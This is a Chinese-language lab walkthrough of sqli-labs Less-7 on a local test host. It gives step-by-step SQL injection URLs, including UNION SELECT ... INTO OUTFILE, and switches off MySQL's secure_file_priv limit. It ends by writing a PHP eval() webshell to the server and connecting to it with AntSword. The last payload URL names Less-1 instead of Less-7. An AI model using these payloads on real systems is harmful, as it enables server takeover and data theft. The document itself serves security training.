sqli-labs Less7 匯出檔案字元型注入
Less-7 GET - Dump into outfile - String (匯出檔案GET字元型注入)
匯出到檔案就是可以將查詢結果匯出到一個檔案中,如常見的將一句話木馬匯出到一個php檔案中,常用的語句是:select “<?php @eval($_POST['giantbranch']);?>” into outfile “XXX\test.php”,但這裡要獲取到網站的在系統中的具體路徑(絕對路徑)
load_file() 讀取本地檔案
into outfile 寫入檔案,檔案路徑需要用雙斜線
猜解漏洞型別:
分別嘗試:
id=1,正常
id=1’,報錯
id=1",正常
id=1’)),正常
初步嘗試用1’))進行注入
http://192.168.200.174/sqli-labs-master/Less-7/?id=1')) order by 3 --+, 顯示正常。
http://192.168.200.174/sqli-labs-master/Less-7/?id=1')) order by 4 --+, 顯示有語法錯誤,說明該表資料僅有3列。
根據資料表內有3列資料,可以通過union注入查詢資料庫資訊。
http://192.168.200.174/sqli-labs-master/Less-7/?id=1')) union select 1,2,3 --+, 顯示正常
那麼url可以改為:
http://192.168.200.174/sqli-labs-master/Less-7/?id=1')) union select 1,database(),user() into outfile 'D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\test.txt' --+
select xxx into outfile ‘檔案絕對路徑’ 可以將查詢到的資料庫資訊寫入到檔案中
剛開始始終無法匯出檔案,是因為secure_file_priv引數限制,我們的mysql有一個secure_file_priv引數限制load data,select … into outfile,load_file()傳到那個指定目錄的,其許可權分為以下三種:
secure_file_prive=null,表示限制mysqld,不允許匯入匯出;
secure_file_priv=/var/lib/mysql-files/ 限制mysqld的匯入匯出只能發生在/var/lib/mysql-files/目錄下;
secure_file_priv沒有具體值時,表示不對mysqld的匯入匯出做限制。
而我們當前的情況是null,所以需要進入D:\phpstudy_pro\Extensions\MySQL5.7.26\my.ini配置檔案新增secure_file_priv="/",儲存後重啟mysql。
重啟後,再次輸入上面的url,介面上仍然報錯:
但進入檔案路徑,可以發現已經生成了test.txt檔案,內容即查詢的資料庫當前使用者、資料庫名稱等資訊。
將一句話木馬寫入檔案中:
http://192.168.200.174/sqli-labs-master/Less-1/?id=-1')) union select 1,2,'<?php @eval($_POST['mmye']);?>' into outfile 'D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\test.php' --+
用中國蟻劍進行連線,成功連線,可以進行檔案管理。